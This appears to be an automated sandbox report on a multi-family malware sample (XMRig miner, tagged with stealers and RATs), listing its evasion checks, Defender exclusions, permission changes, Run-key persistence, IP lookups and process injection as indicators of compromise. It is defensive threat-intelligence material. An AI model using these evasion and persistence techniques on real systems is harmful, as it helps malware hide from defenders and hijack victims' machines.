xmrig | 820d3cb90bc402cbce18b9251de837d4e33cff39a00f22d04ba412b83ca1df42

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v41.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v42.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v43.exe

Custom signature

UPX dump on OEP (original entry point) 2 IoCs

resource	yara_rule
behavioral1/memory/2472-56-0x00007FF671BF0000-0x00007FF6724C3000-memory.dmp	UPX
behavioral1/memory/2472-725-0x00007FF671BF0000-0x00007FF6724C3000-memory.dmp	UPX

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral1/memory/2472-725-0x00007FF671BF0000-0x00007FF6724C3000-memory.dmp	xmrig

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
15	2472	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4424	powershell.exe
3736	powershell.exe
3824	powershell.exe
1260	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 4 IoCs

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v41.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v42.exe

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
1000	takeown.exe
3984	icacls.exe
3344	icacls.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 5 IoCs

pid	Process
4920	Win-v42.exe
3864	Win-v43.exe
2472	cmd.exe
4796	svchost.exe
3800	Win-v41.exe

Modifies file permissions 1 TTPs 3 IoCs

File and Directory Permissions Modification

T1222

pid	Process
1000	takeown.exe
3984	icacls.exe
3344	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\v4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\Win-v43.exe"	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Internet Connection Discovery

T1016.001

flow	ioc
9	api64.ipify.org
10	api64.ipify.org

Power Settings 1 TTPs 7 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1856	powercfg.exe
1896	powercfg.exe
4732	powercfg.exe
4372	powercfg.exe
4988	powercfg.exe
4028	powercfg.exe
4528	powercfg.exe

Drops file in System32 directory 20 IoCs

description	ioc	Process
File created	C:\Windows\System32\Win-v42.exe	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	svchost.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92	svchost.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1752 set thread context of 2472	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	137
PID 1752 set thread context of 4796	1752	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	139

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2472-56-0x00007FF671BF0000-0x00007FF6724C3000-memory.dmp	upx
behavioral1/memory/2472-725-0x00007FF671BF0000-0x00007FF6724C3000-memory.dmp	upx

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File created	C:\Windows\Win-v41.exe	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2812	cmd.exe
4748	cmd.exe
1828	cmd.exe
3408	cmd.exe
5028	cmd.exe
2240	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-11-05_32eec81553bd2fccc1ca0fca1d5d4bf3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cmd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
3888	PING.EXE
3408	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

System Time Discovery

T1124

pid	Process
5028	cmd.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service	wmiprvse.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02nrxrkbxapeqpui	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02gljqqromcdynra\AppIdList	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02zcqilqntlfidps\Provision Saturday, November 07, 2026 04:59:09 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAeYO/+TVtu0q36tifnM25mwAAAAACAAAAAAAQZgAAAAEAACAAAAB0jf2vcKvqOBHISQ+KO6ttzLE2VKdr9Y2r+cu+T4BByQAAAAAOgAAAAAIAACAAAADvioQ5QsdHuByaQ1HzkGZzWmn5snmw1N32480c+ImfCyAAAACTuH33t7sLuG+UZhyaDRDvRfvvkVDE5GuI7oVfvsnIIUAAAAAj0Bta6tLWdOB/sNFxMqhvWWQlJRSeCA5H8uxlunZEvT+QOxzc/GX8rnFOkQGhNLJv8Xa4TjlYrVv/HPfabYZ/"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1794027561"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02gljqqromcdynra\Reason = "2147750679"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02nrxrkbxapeqpui\Provision Saturday, November 07, 2026 04:59:10 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAeYO/+TVtu0q36tifnM25mwAAAAACAAAAAAAQZgAAAAEAACAAAADjyA2yYFhFEkIm8j413sBs+ZuPjBT9zs/f3JZliudywwAAAAAOgAAAAAIAACAAAADvL193kJ9lc6Y66+Q5/hE0TyNbORsV1FZNvxEgH0HcSiAAAAA3I4PQWVqYr1r7YwnwkPMV0KqQLBgvDT4MdJrVdDw2xEAAAADXxAUuqit2iCKGSmmg5Nk5oNXt7se7iHvPrhkRUGqb+3tiXFg53I7scqi+yjPMnduATUy6WkN8aidX4qiWrJN7"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02dkrjqkcmbtejqg\Provision Saturday, November 07, 2026 04:59:13 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAeYO/+TVtu0q36tifnM25mwAAAAACAAAAAAAQZgAAAAEAACAAAACyP96OaKe1Qp5ZD4hJ39mNTOJuMVWBXpb+iZS5Hxs7LAAAAAAOgAAAAAIAACAAAACFkBUosIB6ClY9cuPZy+A6hpiX9kIFWvmaFqIweFW6eiAAAADul57UVdwrqCnjJ/dQgR98HCCqp8nV//6BsXhelFt0k0AAAACIcn6RhzyYQCQxPvbIaE5I+byQq6I9dx/e3wTbtI/+ySXxkyDTtbw2UX1qu/RSzpPVn+cogO0J+sXJy3J0Ywe6"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 05 Nov 2026 05:39:20 GMT"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={58A92865-2CC3-45AC-A637-99BD57D2927E}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02yuqouqezpsjcqu\Provision Saturday, November 07, 2026 04:59:09 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAeYO/+TVtu0q36tifnM25mwAAAAACAAAAAAAQZgAAAAEAACAAAADqbIXo/f4pkOBWA6FQjeDgBBtdgaLBXhhkSt1RKytt7AAAAAAOgAAAAAIAACAAAAD++TNOoDlpIiwTQI5C1hqJ25o7Z1jWuSw9w9POfHU9/SAAAAAsCK2aAhkpaXUw7rk+6wW6PWlDQR8GpaAxS5cVLeNKDUAAAAD6/4pAZf3qcUfCrAioskR7HU5cn8fRiboXxFY8Q7Q+mN3v6mJmEq+PB1tH5jgG+SZmq1xl3OT4hOeYjxqvIcIF"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02akzhythgqlgvrg	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02akzhythgqlgvrg\Provision Saturday, November 07, 2026 04:59:10 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAeYO/+TVtu0q36tifnM25mwAAAAACAAAAAAAQZgAAAAEAACAAAAA5Ki6enySz8O/8LSvli6AiH1ZcKJedwVFfPqqV7quGtwAAAAAOgAAAAAIAACAAAADDEABXUIdGr++HYTSqAEog/oW/UvJS4f7DmesPoxzd0CAAAAAEdGMnYyILtXMM23vdhYpU8iWucr/SpixDHNQQqrKXoEAAAABJdYq3T5ZqKvMx0NoIDP/CtaJekdQVS/mhqD7L+atn9lAb4Xire4qsGH3yApJ1YT2uk9oNMvuyjEs51mG+IeXL"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02qhoqcxeshyzpgo	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "17110992,504928405,41816131,507286179,7202265,17110988,7153487,504928410,577889346,5804129,17962391,508368333,17962392,41484365,24262478,9179409,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,24262477,25036127,24262473,9179410,20502174,6308191,18407617,39125643,539756558,6104718,9179411,51475283,41185282,39389248,539756557,528570079,7202269"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02yuqouqezpsjcqu	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02xubimyrsgqmlqu	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02zcqilqntlfidps	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ahcnmhohuzddfr	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ahcnmhohuzddfr\Provision Saturday, November 07, 2026 04:59:13 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAeYO/+TVtu0q36tifnM25mwAAAAACAAAAAAAQZgAAAAEAACAAAACN/XtyFywYkPIF/fljuZ4YYrChxTpoxivgaE+qt7ib2AAAAAAOgAAAAAIAACAAAADoK8qnTPkhef8iVOKKh2MQxr3HvW2IefESybIbqL/VoCAAAACoBuEMBAT3zCi90jTRdlyFyCGP0VRyT5Smad4ShW/rIUAAAACRsHZtBYitw1oGkBzsPv2vAXwUlSQEg0Q/4CqxuH/7VnYC+u33j5VwESHuGjMfYM6a/th+Tmd5ih1TW+lksD8G"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02xubimyrsgqmlqu\Provision Saturday, November 07, 2026 04:59:13 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAeYO/+TVtu0q36tifnM25mwAAAAACAAAAAAAQZgAAAAEAACAAAADizpAvJVesvA+Jt6seJV/KgwM63tNHHfVg9VhtwojrTQAAAAAOgAAAAAIAACAAAADDcchg2NB/DU/AhMm/nFl/uNRN2c3SSNS55y+aEYkjSiAAAAApRZZpCqUq5m7Pd/8BnOBD+qxTssJfLzJSPsQ9h58a8UAAAACP9T81MRIaFSVJYz8pCxqihbtthMi8OPDrTMbKBK8PxBePMyidB3zMPqfTfU5bQJvcqPVI/rQXSA6Yfbtlrx0i"	svchost.exe
